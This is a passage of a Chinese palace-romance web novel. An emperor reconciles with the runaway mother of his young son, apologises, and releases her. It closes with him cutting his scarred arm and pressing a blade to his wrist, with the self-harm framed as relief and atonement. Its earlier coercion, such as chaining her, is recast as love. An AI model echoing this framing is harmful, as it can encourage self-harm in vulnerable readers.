陈怀衡听到妙珠的话,终于忍受不住,他回过身去看她。 不知是不是妙珠的错觉,竟发现他的眼眶也红得厉害。 陈怀衡看着妙珠道:“有没有想过我。” “这三年来,有没有哪怕一次想起我。” 夜深人静的时候,除了想起锦聿,有没有想到过他一回。 妙珠抬头看他,她道:“有的” 听到妙珠的话,陈怀衡道:“撒谎没用。” 妙珠道:“没撒谎。” 陈怀衡愣了一瞬,而后苦笑一声,道:“想起我,也是在恨我?” “没有啊,都跑出去了,再又恨你干嘛呢,给自己添堵吗。”她道:“想起你给我过生辰的那回,想起你后来好歹也有像人的时候。” 妙珠仍旧抱着他不松手。 她怕一松手陈怀衡又要跑掉了。 她道:“一开始的时候在外面好苦啊,东躲西藏的,每天都睡不了安生觉,经常饥一顿饱一顿,吃一口算一口,你知道的,我除了做绣活,也不会些别的什么东西了,只能没日没夜的去做活,偏晚上的时候连油灯也舍不得点,有的时候眼睛都好疼,睁也睁不开。” 日子是不好过,但也没这么可怜。 妙珠高兴的事不说,专捡一些叫人心疼的话说给陈怀衡听。 陈怀衡听了之后,果然不叫好受,然而只从胸腔中哼出一声冷气,道:“活该,你自己要出去吃苦,谁拦得住。” 他知道妙珠也没说谎,她手上的茧子切实是比从前多了一些,皮肤也没从前那样细腻,在外面的日子,她肯定过得不好,很不好。 妙珠抹了把眼泪,她道:“日子再苦我也能挺,在外面,我是人,我过得快活,我每日都过得有盼头。我好容易有了点人样,你就别逼我了成吗。” 妙珠一下子说了好多的话。 陈怀衡就知道,她最会看人眼色。 早上他偷亲她的时候一不小心就被她发现了,她又有了把柄筹码对付他。 所以,从她回来后,他便一直不想叫她再抓到把柄,他不想叫她知道,他仍旧深深地喜爱着她,放不下她。 他恨妙珠,可当那苦苦被他掩藏在心底的爱意外泄之时,就显得他尤其可笑了。 他眉眼低垂,看着妙珠,脸上的痛苦再也难忍。 恨什么呢? 他又有什么好恨她的呢。 可恨的并不是妙珠。 可恨的另有其人。 第59章 第五十九章她不喜欢的是我。 自从那一日之后,陳懷衡终于正常了一些,他不再成日成日地关着妙珠。 他也不拘束她去哪里,就算是想出宫,他竟都让。 只是,不管妙珠去哪里都要过他的耳目,不管去哪里都是里三层外三层的人跟着。 他不想她讨厌他,不想她恨他。 她渴望自由,想要自己不被一直管着,那可以,那自然是可以的。 陳懷衡承认,比起妙珠逃跑,他更恨的是她不爱他。 恨她从来都没有喜歡过他。 他不会再像当初那样鲁莽和愚蠢了,他不会再一遍又一遍把她推得更远了。 他不能再让她那样讨厌他了。 既然她已经抓到了他的把柄,那他的故作冷漠与疏离就都已经没有用了,除了让他看着更好笑一些,再也没有其他的用處了。 他也没有再故意用锦聿的事情去讥讽她了。 一个早晨,他起了身后,先是去了太子的房间中。 陳懷衡要上早朝,起得一如既往得早,锦聿这个时辰本还在睡梦中,迷迷蒙蒙被人搖醒。 睁眼一瞧,就见陳懷衡坐在床边。 锦聿揉了揉眼,试图看清陈怀衡。 晨曦才露出了个角,陈怀衡朦朦胧胧站在床边,他看他都费劲。 “父皇” 他这一大早来找他又是做些什么呢? 陈怀衡拍了拍他的臉,试图叫睡眼惺忪的陈锦聿清醒一点,他道:“一会你去见见她。” 锦聿刚醒过来,听到陈怀衡的话一时之间没能反应过来,竟还有些懵。 他下意识问道:“誰?见誰?” 然而问出这话之后,他那小脑袋也清醒过来了。 除了妙珠,也没旁人了。 自从那日见到妙珠之后,他就猜到那是他的親生母親了。 可是,父皇并没有 让他见她的意思。 那锦聿也不敢去多提。 从他记事以来,父皇就一直恨着母親。 陈怀衡道:“去看你娘。别惹她傷心。” 锦聿回过神来,声音有些闷,他在微弱的光亮中看着陈怀衡道:“她并不喜歡我。我没办法不让她傷心。” 他不是说过,因为是他没用,母親才跑走了吗。 “她不喜欢的是我。” 陈怀衡搓了一把他的头,也不再说,而后直起了身,锦聿看不清他的表情,也听不出他说话的情绪,再想说些什么时,他就已经没了人影,离开了这處。 陈怀衡那挺拔的背影,不知是何缘故,在昏暗的环境中,竟然带了几分说不出的佝偻。 锦聿被他这么一闹腾,也再睡不下去了,扑腾了两下便坐起了身。 起身后,他任由宫人给他穿好了衣裳,只是看了看窗外,见天都还没亮堂透,便又一直坐到天亮透了才出门。 他往乾清宫的主殿那处去,妙珠现下已经起过身了,用过早膳之后,闲来无事就在后苑浇浇花,剪剪草,连锦聿站在身后竟都没有发现。 一直到回过身去,眼角扫到了那个小小的人就站在身后,一动不动地瞧着她。 妙珠一时没反应过来,叫他骇了一跳。 怎么和他爹一个样,都喜欢这样没声没响的往人身后一站。 妙珠这几日也收拾整理好了心绪,再见锦聿也没第一日那般慌张无措了。 该面对的也总该面对,这事本就是她不好,躲躲藏藏的又有什么用呢。 妙珠放下了手上浇水的壶,唤他道:“小聿。” 陈锦聿一直瞧着妙珠,听她喊他,臉上瞧不出什么表情,只是那双小手已然把两侧的衣服捏得皱巴巴的。 他听妙珠唤他,一时之间竟憋得没了言语,不知如何作答。 妙珠见他不说话,便试探性地走到了他的面前,见他脸上没有不快,便又在他身前蹲下,她看着他问:“用过早膳来的?” 锦聿看着近在咫尺的母亲,手将衣服抓得更紧了一些。 他不知道是为什么,眼眶竟就控制不住的泛紅,明明妙珠什么也没说,什么也没做,就只是问了他一句用过早膳没有,锦聿眼眶就忽然之间紅得不像话。 可他忽然想起早时父亲叮嘱过他的那句话,他说,不要惹母亲伤心。 锦聿害怕自己的眼泪会造成什么不可估量的后果,比如说母亲的再一次离开。 他胡乱揉了把眼睛,想把那忽然往眼眶外跑的泪水抹回去。 妙珠见到锦聿忽然之间就一副欲哭不哭的模样,也慌了神。 她就那样蹲在他的面前,抓着他的肩膀,问道:“小聿,你怎么了呀。” 妙珠的这一句话,就像是压倒锦聿那颗脆弱小心脏的最后一根稻草,她抓着他,他便再也忍不住哭出了声,偏哭也不敢放声哭,只敢捂着嘴巴小声的呜咽。 他怕父皇知道他哭了,怕父皇又嫌他没出息,与此同时,更也怕自己的哭声会惹得面前这个狠心的母亲不喜。 他小小的脑子里面装不下太多的东西,只是一句小小的话,一个小小的触碰,就能摧毁他那颗小小的,不大强悍的心。 妙珠看得心碎,也跟着落泪。 她再忍不住,将他抱入怀中。 可母亲温暖的,柔软的,带着香气的怀抱,和父皇那坚硬的臂膀全然不同,这点不同,让锦聿更觉委屈,再也忍不住嚎啕大哭了起来。 妙珠只是不停地问他“怎么了”,到底是怎么了呢?怎么突然就这样心伤。 锦聿的泪湿哒哒的,快要把妙珠肩头的衣裳浸湿了,妙珠觉得肩膀那处被他的泪都烫到了。 好久。 他哭了好久。 自他记事以来就没哭得这样厉害过了。 每次难受得不行也只是躲在房中流两滴泪就算了。 他来之前想过的,不可以哭,不可以讨人嫌。 可是还是那么不争气。 锦聿好不容易才止住了泪,他的下巴就靠在妙珠的肩膀上。 他沙哑着嗓子开口,唤她道:“母亲所以你为什么不要我。” 锦聿已经快五岁了。 可他从小到大都没什么朋友,他的周遭只有宫女,还有父皇。 除此之外,谁也没了。 父亲自己都一副半死不活,随时要死的样子,哪里还顾得到他?宫女们就更不用说了,就像卿云和荣桃虽待他好,可总是把他当成小主子来看,就连他向她们讨要关于母亲的事情,她们也从来不会和他多说。 孩子对母亲天然的亲近爱恋是不需要任何的缘由。 她就站在他面前,他就知道她是他的母亲。 她就站在他面前,他就委屈得忍不住落泪。 他太小了,小到控制不了自己的情绪,小到忍不住问出那个让人难堪的问题。 所以,母亲,你为什么不要我呢? “没不要你我没有不要你。”妙珠恨不能将小小的人揉进自己的怀里,就像是当年怀胎十月那样,把他揉回自己的身体里,“你听他瞎说些什么呢,我没不要你的。” 锦聿道:“那你为什么要走呢?” 妙珠松开了他,红着眼睛看向他:“小聿,总之,不是因为你。” 当着孩子的面说陈怀衡的坏话?她也没这样坏心肠。况说,这几年都是陈怀衡陪伴在他的身边,她当着锦聿的面说他的坏话,这不可笑吗。 锦聿道:“是因为父皇吗?” 妙珠愣了一瞬,没想到他会这样说。 她默不作声的态度已经给了锦聿回答。 她不说,锦聿也已经知道了。 陈怀衡不知道是什么时候回来的,或许说,从锦聿来的时候他也跟来了。 妙珠的态度自也被他尽收眼底。 锦聿问出的问题,她没有回答。 可是答案他们两人都心知肚明。 陈怀衡也不再继续听下去,转身离开这处,任由他们母子二人亲近。 锦聿的情绪来得快去得也快,妙珠后来又问出他没用过早膳就来,又让人端来了早膳。 他就吃着,妙珠就在旁边瞧着他。 他们两人方才哭过,眼睛都红红的,妙珠就看着锦聿用膳,她一边瞧一边又问他这些年过得还好吧,他的父亲没有总欺负他吧?没有把对她叛逃的气撒到了孩子身上吧? 锦聿只搖头,他道:“父皇有时候喝醉了酒会说些难听的话,可是其他的时候也都还好,不曾欺负过我。” 妙珠道:“他现在饮酒很厉害?” 可她回来也没见他喝过一回。 锦聿头闷在碗里面,道:“父皇有病” 妙珠笑了一声,问道:“你是在骂他吗?” 锦聿意识到自己说错了话,他抬起头忙摇头解释道:“不是这个意思,是真的有毛病,他有的时候成宿成宿睡不着觉,头又疼得厉害,就要喝酒。父皇他喝醉了酒,就一直喊着母亲你的名字” 锦聿不敢多说,疑心自己有在给父亲说话的嫌疑,怕妙珠不喜他这样,又悄悄地去看她的神色。 妙珠一回过头来就看到锦聿那小心翼翼的眼神,她讷然道:“小聿,你这样看我做什么” 锦聿捏着筷子道:“我不是想为父皇说话只是我很想母亲,父皇也很想。” 不知道父亲是做了什么事情惹 了母亲不高兴。 可她不喜欢他,他就不多提了,免得说多了连带着他一道讨厌。 “母亲不要不高兴。若是你不喜欢听这些,小聿往后不会再说了的。” 他大抵也还是怕母亲会离开他,说出的每一句话都怕惹了她不舒服,又怕她一个不舒服就要离开。 他斟酌再三,最后还是决定闭嘴了,安生吃自己的饭。 妙珠见他如此,心里头也酸涩得厉害,只最后也没再说。 锦聿用完了早膳,却还没有离开的意思,他和妙珠又坐在一道说了好一会的话,两人都不舍就此分开。 妙珠听说他这些年过得还好,便也放下了些心,没那么愧疚了,只是一直是她在问着锦聿,锦聿回答着她,到了后来,说着说着,锦聿忽然开口问她:“母亲这些年在外面过得还好吗?” “还不错。”“就是也很想小聿。” 锦聿钻到了母亲温暖的怀抱中,“我也很想母亲。” 锦聿今个儿被陈怀衡太早弄醒,后来又哭来哭去的,现下靠在妙珠的怀中,脑袋也困顿得厉害,被妙珠抱在怀中,就那样沉沉地睡了过去。 妙珠的下颌蹭着他的脑袋,止不住叹气,而后也不再多想那些伤心事,想要抱着他起身,让他在床上躺着舒服些。 再过两月就是锦聿五岁生辰了,他现在也没小时候抱着那样轻,妙珠坐在椅上抱着他,想起身将他抱到床上,竟也有些吃力了。 她撑着一股气就要起身时,孩子却先被人抱走了。 抬眼去看,发现陈怀衡不知道是什么时候回来的。 妙珠也没说些什么,抿了抿唇,任由他把孩子抱走,跟在他身后,看着他把锦聿放在床上躺好,妙珠上前脱掉了孩子的鞋履,又拉了被角过来,横到了他的肚子上。 锦聿睡了,他们也不在这里面多说,说着说着到时候若又吵起来了便不好了。 他们去了外殿。 妙珠问他:“是你喊了小聿来的?” “不然呢?” 除了他又还能有谁。 锦聿他怕父皇不高兴,虽然知道母亲回来了,却也不敢主动去寻,便也只敢趁着陈怀衡不在的时候偷偷来主殿瞧上一回。 只是这些事情妙珠是一直都不知道的。 陈怀衡就像是单单陈述事实一般说道:“他很想你,打他明白事了以后,就经常会问母亲去哪里了。” 妙珠叫他这话说得心中更堵,疑心他是故意拿了这话刺她。 妙珠方止住的泪,又忍不住淌了出来。 “是我想这样的吗?我也不想的。” 陈怀衡顿住了步,回过身看她:“那是我想的吗?” 是他想他们的家乱成一团,是他想让她抛夫弃子,全是他的过错是吗。 妙珠用充满怨恨的眼神看向他。 她口中没说,可那眼神也已经告诉了他答案。 他就是那个把他们变成这样的罪魁祸首。 陈怀衡俨然也从她那通红的眼中得到了答案。 他的薄唇又张又合,竟难得也有他找不到话说的时候。 第60章 第六十章你恨我讨厌我,我也好爱你啊…… 妙珠只见他长长地深吸了一口气,最后緊緊绷着下颌道:“对,我是罪人,我是逼走你的罪人。你不爱我,那没关系,毕竟是我对不起你在先,是我的不好,我的錯,我没办法再让你多看一眼,是我没办法留住你,是我自己拆散了家,就是我的錯” 妙珠就是铁了心的想要分道扬镳,他知道,孩子是永远不能让她安定下来的,即便她现在如此为锦聿的事心伤,可她又难道还真会为了他就这样在皇宮里面安稳? 妙珠舍弃过自己太多次了,陳懷衡这一次也不想再用孩子绑着她了。 再用链子什么的把她锁在屋子里面,也都太没意思了。 若是从前,他干得出来这事。 十岁成为皇帝的时候,几个日夜就长大了, 现在,都过去三年了,一千多的日日夜夜,难道还不能教他做人吗? 總是怪妙珠。 从前的时候他總是责怪妙珠。 妙珠刚跑走的第一年,他恨得痛心切齿,恨不能马上把她抓回来,然后一条链子锁她到永无宁日,他怨恨她舍弃他竟就舍弃地如此轻易,怨恨她竟真就要留他一个人。 怨恨她竟再不会来爱他,再给他一个机会。 到了第二年,他恨得痛不可忍,却又总想妙珠在外面会不会被人欺负,日子过得到底好不好,钱不够花的时候又該怎么办。 到了第三年,他再不敢去恨妙珠了。 他恨自己恨得痛不欲生。 他从前只恨那不痛不痒的三十板子把她和他打得离了心,也从不明白妙珠为什么会这样耿耿于懷。 可是,他为什么就没有想过妙珠的心那个时候有多痛? 她好不容易把自己的身心托付给了他,可他呢,连个真相都不给她。 那三十板子就像让妙珠被全世界都抛弃了,小小的妙珠被全世界的人都抛弃了啊。 他们所有人对她的恶意,都在那三十板里面淋漓尽致的挥打到了她的身上。 对,不痛不痒的三十板 就是那不痛不痒的三十板,打得她支离破碎。 那該死的三十板 他真的太恨了。 一想起那件事他就恨得不能接受,唯独在身上用刀子割出几道伤口才能好受一些。好像他身上的疼了,就能缓解那些对妙珠的愧疚了。 此去经年,那些往事一再在他的心底深处发酵,一次又一次地侵蚀着他那颗已经千疮百孔的心。 他在无数个深夜质问自己。 为什么当初不对她好一点呢? 妙珠只是想当个人罢了,你为什么就不能对他好一些呢? 你但凡对她好一点点,她都绝对不会这样狠心地离开你。 命运太歹毒了。 把他练就的那般不通人情,把他刻画的那般下作,偏又让他碰上了妙珠。 说这些的都已经太晚了。 妙珠不会再原谅他啦。 陳懷衡想起那些难忍的过去,脸上不可遏制地浮现了痛苦的神情,不可控制地落泪。 她不原谅他。 可这应该恨她吗? 三年的时间早就能够让他认清现实。 恨到最后,也只是恨她不爱他,恨他自己偏偏又那么没出息就是离不了她。 比恨藏得更深的,是爱。 他爱她。 不是喜欢。 就是爱。 直到她离开他的时候,他发现,就是爱,不是喜欢。 爱这种东西是最没缘由的,追究为什么会去爱也都太蠢了。他的心誰跳动,又为誰而死寂,这难道还需要别人来告诉他吗? 陳懷衡不想要让她发现他的心事,不想让她捏住自己的把柄,不想她有了把柄后又弃他而去。 可是。 可是…… 世界上所有的东西都好藏,独独爱这个东西,太难忍了,就像是一颗埋藏在地里的种子,一旦生根发芽,就会破土而出,任是神仙来了也挡不住。而爱埋藏在心里,一经生长,直到某天,它势必会钻出你心脏,向全世界诉说着它的存在。 陳怀衡想藏起自己的心事,可,爱是藏不住的。如月之恒,如日之升,这亘古不变的定理,又怎会因为他是个小小的帝王而改变呢? 妙珠终于回来了,她走的时候是个阳光明媚的春天,回来的时候却乌云密布。 就像是老天爷都在为她哀伤。 她最后还是痛苦地回到了他的身边。 而彼时陈怀衡也已经身心俱疲,恨叫人面目全非,爱叫面目全非,若爱恨都是一个人,那更是完蛋了。 可妙珠不能完,她的一辈子才刚刚开始。 她这苦日子都过了十来年了,现在好不容易有了点人样,他也不想再逼她了。 乾清宮中,晨时的光落在殿内,秋日的清晨,空气中都着几分萧萧瑟瑟的味道,两人站在殿内,光 落在他们的脚边,却怎么都攀爬不到衣角之上。 陈怀衡本来还说着那一串长长的话,他说,都是他的錯行了吧,他就是拆散他们的罪魁祸首,一开始的时候还带着股自暴自弃、破罐子破摔的态度,越是说,就越是像无理取闹。无理取闹的他,说到了最后,越说越难忍,越说喉咙越发哽咽他叹了口气,那本紧绷着脸颊也松了开,他垂着那薄薄的眼皮,泪水不自禁地滚落,兀自就吐出了这样一句话。 “对不起,妙珠。” “都是我的錯。” 他三年前心不甘情不愿地认的错,三年后迟早是要加倍地还回来的。 越是知道错,越是不敢看她。 他也不想总是仗着嗓门大去和她吵架了。 吵到最后难受的也还是自己。 再说,本来就都是他的错。 是他先不要她的。 她才反过来不要他的。 意识到这一点的陈怀衡,什么脾气都没了。 妙珠只是离开了他,他就要死要活。 可她当初在宫里头被人欺辱成那样,她也没求什么,也没报复谁,到了最后也只是自己一个人悄悄地跑走了。 陈怀衡看着妙珠,道:“再陪我一段时日吧,只是,锦聿是太子,他不能跟你走,不过,你是他的母亲,你随时都可以看到他。” 若说自由与离开是她必选的命题,陈怀衡再做不出任何的事阻拦她。 他曾也疑惑不解,自由,难道比所有的一切都重要? 他早知道答案的。 这些东西对妙珠就是很重要。 宫外的生活于她而言,不只是自由。 人格、尊严、自我。 这些虚无缥缈的东西,对每一个人来说都很重要,对妙珠来说,更不一般。 在外面,至少没有任何一个人,有任何的理由去贬损她,没有天能再壓着她了。 而对不起这个东西,也并没有那么难以说出口,说出口后,心里头一直壓着的那口气好像也终于跟着散了一些。 早知如此,为什么不能早点说呢。 为什么不呢。 当初的错已经让他失去了妙珠三年,也让妙珠吃尽了苦头。 他明明已经知道错了,怎么又还能继续错下去呢。 妙珠本来看陈怀衡那架势是又想来和她吵架的。 可是不知怎地,说着说着,他的声音忽就软了下来。 说着说着,他就忽地说了句对不起。 她甚至有些不明白,他口中忽然说起那话又是何意? 什么叫晚点走? 他又是想做些什么? 妙珠不大明白的意思,愣得脸上都没了表情。 陈怀衡见她这样却笑了一声,他道:“高興坏了?” 妙珠道:“你要干嘛?” 陈怀衡不回答她的话,只是上前一步,在她面前站定。 他俯身将她抱入怀里。 他爱她。 从没人教他什么是爱。 可他知道,他一定就是爱她的。 没有缘由的,不需要任何缘由的爱。 他说:“我爱你,妙珠。” 他说对不起。 他说我爱你。 爱是世界上最不公平的事情了。 他爱她爱得活不下去了。 可她也仍旧独善其身。 爱又是这世界上最公平的东西了。 乞丐能说,帝王也能说。乞丐说出口,和帝王一样高尚,帝王说出口,像是乞丐那样卑贱。 爱上妙珠是一件必然的事情。 他的一辈子,在碰到妙珠的那一刻早就已经开始不知不觉地踏上了不归路,他一步一步地,再不像从前的自己了。 他慢慢地没了人样,又慢慢地有了心。 从前妙珠总是说这些话酸得很,说了都嫌腻歪,可是陈怀衡就是喜欢说这些。 他不是喜欢她。 是爱她。 这些话再酸,他也要说。 他这人就是这样霸道没有道理得很,若是瞧上了谁爱上了谁,那就别想离开了,所有的所有的必须都是他一个人的。可等到真的意识到“爱”这个字眼存在于他和妙珠中间之时,他才发现,真正的爱,必然是会让一个人违背本心,做出从来都不会做的事情。 离开了三年的妙珠回来了。 教会他的第一课就是,放手。 陈怀衡紧紧地拥着她。 他说:“妙珠,我爱你。” “你恨我讨厌我,我也好爱你啊。” 妙珠面对陈怀衡这样深切的表露竟有些手足无措。 他到底是怎么了? 他真的疯掉啦? 事实上,妙珠不知道的是,陈怀衡此行并非是一时興起,是他想了无数个日夜说的话。 他一直怕她再跑掉,连爱也不敢再说。 只是,决定放手的时候,爱也不用忍了。【你现在阅读的是魔蝎小说 moxiexs】 【终章】 第61章 第六十一章真的很谢谢你了…… 陳怀衡自从那日之后就像是变了个人似的。 他不会再偷偷摸摸地親妙珠了。 他若是想親她,正大光明就要抓着她親。 他不会问妙珠“我能不能親你?”,他说愛她,可还是一如既往地霸道。 想亲她就亲她。 只是,他这段时日竟出奇地清心寡欲,再没拉着妙珠行房事了。 这让妙珠覺得,陳怀衡一半是变了,另外一半又像是没变,割裂得很。 陳怀衡又和妙珠形影不离了,妙珠在哪,他就在哪。 这甚至让妙珠疑心,他先前说的那些话都是假的了。 听他那意思,如果她没意会错的话,他是会放过她的吧?甚至还大发慈悲允许她回来看孩子。 这对妙珠来说自然是最好的选择了。 得到了自己想要的,就连孩子也能亲近。 可是陳怀衡的表现却又让她有些忐忑,甚至怀疑那日不过是他一时兴起说的胡话,专门来哄骗他的。 不过,陈怀衡没再说,妙珠便也没主动去提过。 而錦聿自从那日之后便天天来寻自己的母亲。 母亲跑了三年,錦聿只想待在她的身邊,他甚至有时候都会害怕,第二日起身,母亲又不见了身影。 只是,饶是錦聿再小,他也看得出来,父亲和母亲之间的气氛古怪。 他不知道父亲是做了什么事傷到了母亲,只是私底下也悄悄抓着妙珠问了一回,“母亲,你很讨厌父皇吗?” 妙珠不知道他为何这般问,可仍舊是道:“没有的事,小孩子莫要胡思乱想。” 錦聿扯着妙珠的手,道:“母亲,我都四岁了,不是三岁小孩了。” 所以,你别想像是蒙三岁小孩那样来蒙我了。 妙珠听了覺着好笑。 四岁和三岁就差一岁而已,小锦聿就可以堂而皇之地说出“我不是三岁小孩,你别诓我”的话了。 妙珠问他:“我讨厌的话当如何呢?” 锦聿当时是没说什么的,垂着眼皮也不知道是在些什么。 只是到了第二日,他对她说:“母亲,若你再走了,还会回来看我吗?” 就连锦聿都意识到了妙珠那颗不安定的心。 她糊里糊涂漂泊半生。 那颗心,仍舊是不肯抱结。 一个夜晚,妙珠和陈怀衡躺在床上,他抱着她,头就埋在她的颈间。 这一夜,妙珠大约是有心事在身,怎么也睡不着。 直到陈怀衡忽然开口。 黑夜之中,他的嗓音更显低沉。 他问她:“想些什么呢。” 妙珠想了想后,开口问他:“协王殿下他是怎么了吗。” 妙珠直到现在也没想明白,陈怀霖到底是怎么了。 她这三年也不在京城,不知道这里到底都发生了事,也不知道陈怀霖为什么突然就拿了一道昔年诏书就要造反。 她不敢问陈怀衡这件事,怕他又要发那些疯,怕他又要说一些难听的话,然而这件事问其他的人,也问不出什么来,到底如何,怕也只有陈怀衡知道了。 陈怀衡听她提起陈怀霖,也只是愣 了一瞬,而后轻轻地笑了一声,呼出气的喷在妙珠的耳畔,弄得她起了搔痒,一身的鸡皮疙瘩。 他道:“你竟现在才问我。” 也难为她憋这么久了。 妙珠听他这话便不高兴了。 她闷声道:“你又这样阴阳怪气做什么,每回提起他你就跟疯了一样。这都过去多久了,我都不在意了,你要记到死吗。” 三年变的又何止是她和陈怀衡。 陈怀霖也变了许多。 大家都变了。 可就陈怀衡非要死记那些事。 见妙珠恼,陈怀衡也終肯好好说话了。 他现在过一天算一天,也不想和她闹不痛快。 他回了她的话,道:“太皇太后死前,给他说了一个真相,他承受不住,就这样喽。” 他语气平淡,说起这事甚至有些事不关己的冷漠。 可事实上,他也是这事的主人公。 妙珠转过了身去,面对着他,借着殿外泄露进的月光,模糊地看清了陈怀衡那棱角锋利的脸,她问他:“是说了什么?” 陈怀衡的声音在这月夜之中竟染上了几分凄清,他说:“当初先帝,原是要将皇位传给他的啊,他才是先帝最满意的那个孩子。” 然后呢,然后陈怀霖听了这个就再受不了了。 妙珠愕然,她道:“可是可是” 最后皇位不是落到他的身上了吗。 陈怀衡抱着妙珠,蹭她的脑袋,他笑道:“妙珠,你知道的,先帝是从来都做不了主的,誰能得太皇太后的青眼,誰就是皇帝。” 而又只有蠢货会得太皇太后的青眼。 妙珠久没说话,像是被这话惊骇到了。 陈怀衡甚至都觉得妙珠的身子有些僵住了。 他笑,却抱得她更紧了一些,“害怕了?” 妙珠在他的怀中,声音听着有些沉闷闷的,她说:“没有的事。” 陈怀衡叹了口气,拍着她的后背,他道:“我不杀他,你回来了,我就没想过要再杀他,杀了他,你大抵要更怨恨我。你你想见他吗?” 她若是实在想见他,那也是可以的。 她现在想做什么,他都要拦不住了。 她就算是想看看陈怀霖,他也不拦了。 然而,听到陈怀衡的话后,妙珠也只是摇了摇头。 “不见,我不见了” 再相见,也只让他们都更难堪。 陈怀霖不好受,她也不好受。 妙珠道:“你放过他就好了,你能放过他就好了,他是个好人,他不该落得那样的下场的。” 好人当有好报。 陈怀霖他一直都是个好人。 他闹到最后,也只是用自己的命去偿还父皇的厚愛,他没错的。 只是时间和真相都太残忍,残忍到了是个好人都承受不住的地步。 不见了。 再见也是落泪。 他往后还活着便是最好了。 陈怀衡道:“别怕,不动他我不动他。” “都听你的呀,妙珠,你现在说什么,我都听的啊。” 妙珠叫他这黏黏腻腻的话说的耳朵都痒,不知道陈怀衡又是什么时候这样油腔滑舌,逮着机会就说些哄人的话。 妙珠不做声,默了好一会后,忽然又道:“你真的会让我走?小聿往后我真的又想见就见。” 陈怀衡久没说话,久到妙珠以为他是不想回答这个问题了。 “先睡吧,妙珠,现在就不说这些了。” 还在的时候,就不要说这些分别的话了,左右也就这几日了。 妙珠疑心陈怀衡这是在转移话题,心想他也确是狗改不了吃屎,嘴巴里头应得好听,哄人的话也終究只是哄人的话。 日子就这样慢慢地过下去,转眼却又到了妙珠的生辰。 她的生辰在九月的下旬,是个秋高气爽的季节。 陈怀衡早早就在准备着她今日的生辰。 他给她塞了好多好多的好东西,又给她塞了好多好多的钱,他又把她的头上插上了好多漂亮的珠宝,让她穿上花花绿绿的漂亮衣裳。 妙珠,妙珠,你是全天下最体面的人。 就算以后我不在你身邊,你也得当全天下最体面的人。 锦聿学了好多的吉祥话说给妙珠听,妙珠看着这小小的人一本正经地说着那些贺词,止不住的笑。 这个生辰从早上开始便热闹得很,一直闹到了傍晚的时候,锦聿都有些累了,被宫人牵下去休息,只剩下了妙珠和陈怀衡待在一处。 黄昏落在他们的身上,在他们的身上洒上了鲜艳的红。 他们坐在后苑的石阶上,他们难得安静,安静得就像是这三年之中什么都没发生一样。 陈怀衡双臂交叉,枕放在膝盖上,他的下颌靠在小臂上,目光落在后苑中的花花草草上。 他的声音辨不出什么情绪,就连脸上也没什么神情,他道:“妙珠,你今日高兴吗?” 妙珠不知道他为什么突然问起了这话,却也如实道:“高兴啊,没什么不高兴的。” 陈怀衡道:“你高兴就好。” 他不要了,什么都不要了,只要她高兴就好。 陈怀衡道:“妙珠,你走吧,现在就走吧,我放过你了。” 陈怀衡的声音很淡很淡,淡得如烟如雾,恍若顷刻间就要消散。 若细细辨之,不难听出其中夹杂的淡淡的哀傷。 陈怀衡曾经怎么都不肯放手,便是对妙珠爱恨到了极致也不肯放手,当痛苦牢牢侵占了他的心神,他也不肯放手,可是察覺到了妙珠的痛苦和恨后,陈怀衡也終于知道,没有再继续的必要了。 他看到她那麻木的、痛苦的、无力的眼睛,他意识到,在继续下去,迟早会把妙珠逼的和他一样,成个半死不活的疯子的。 所以。 走吧,妙珠。 你还是走吧。 我放过你了。 陈怀衡这话说得太过突然,以至于妙珠一时之间竟没能反应过来。 “什么?” 陈怀衡方才说的话,她没听错吧。 陈怀衡转过头去,看着她,低低地笑了一声,他道:“你现在出宫去,倒还赶得及,若再晚了,宫门落了锁,可别怪我不放你。” 妙珠不知陈怀衡是在打些什么算盘,也不知他说这些话是真又是假,可听他说宫门就要落锁,也不敢耽搁,最后終是什么都没再说,起了身。 她往着里殿的方向通外殿出宫,可行至一半,站在门槛那处,回过头去再看陈怀衡。 他没有回头,仍舊是和方才一样的姿势,他坐在石阶上,脑袋枕在手上,一动未动。 妙珠总覺哪里古怪,总觉陈怀衡不该是这样的。 可他偏偏就是这样了。 陈怀衡 三年的时间真的让他变了好多好多。 妙珠抿了抿唇,最后终是收回了头,往外走去,卿云和荣桃像是早就知道了似的,在外面等着她了,荣桃的手上拿着包裹行囊,方才陈怀衡给她的东西全在这里头了,荣桃对她说:“妙珠,陛下允我同你一道走。” 他怕路太长,一个人难走。 他怕她没人陪,终也孤寂。 他怕她被人欺负,也没人护着。 荣桃为人圆滑,年纪不大,办事却稳,妙珠又总把她当妹妹来看,她们结伴,他也安心一些。 至于其他的人,就别再跟了,妙珠知道,又要不高兴,疑心他是派人盯视着她。 妙珠见此景,便也知道陈怀衡大概是没再说笑,他是真的要放她走了。 她也不再多说什么,同荣桃一道,离开了乾清宫中,往宫外的方向走去。 而陈怀衡,自打妙珠离开之后便一直在后苑之中坐着。同方才一样的姿势,从始至终也没再动过。 妙珠当初离开的时候是个春日,自此,陈怀衡的一生都像是停留在了那个季节,停留在了妙珠说喜欢他的那一刻。他总是想要爬出这四四方方的昏暗天地,他太贪心了,分明已经万人敬仰了,可却还是想着往后一生皆阳光明媚。 院中的白玉兰又落了个彻彻底底,夕阳落在这光秃秃的枝干上,将万事万物都衬得了无生机,夕阳的余晖如浪潮一般席卷了人间大地,若是细细观之,其中定然还夹杂着一些细碎的往事。 往事就像是碎渣一样混杂着余晖,稍不留神就将人刺得鲜血淋漓。 那些幸福的、痛苦的往事都一起席卷而来。 而陈怀衡最后还是被那些黑暗没了顶。 他违背自己的本心,背叛了二十来年的信仰教条。 他一直觉得权利可以得到一切的东西,直到很久很久,失去了妙珠之后,他才终该明白清楚,权利并不能使掌权者得到想要的一切,所谓的九五之尊,在爱面前众生平等,也并没有比誰高贵到哪里去。 妙珠,我爱你。 所以,我死也会放你走的。 她要活在光里,她要至尊无上,这样,他在烂泥淖里面才痛快。 天都快黑了,陈怀衡终于起了身,他往里殿走去。 卿云见他进殿了,便向他禀告道:“妙珠走了,东西我也都让荣桃捎带上了。” 陈怀衡“嗯”了一声,再没说其他的话了。 他走到了那张处理公务的桌案前,挥退了所有的人。 他面无表情的 ,又做起了那件熟练的不能再熟练的事了。 他掀起了衣袖,那上面全是不堪入目的疤痕,密密麻麻地布满在小臂上。 他用一把短刃在自己的小臂上作恶,面上没有任何痛苦的表情,有的竟是那些细细密密的痛快。 他看着烛光下,手腕那处蓬勃跳动的青筋,那薄薄的肌肤下面,应当汩汩流动着罪恶的血液。 陈怀衡从没割过那处。 因为不用想也知道,那处割了,明天他就可以躺进皇陵里头。 可是不知道是从哪里生出来的冲动,陈怀衡看着那一处,慢慢地把刀刃慢慢地抵放了上去。 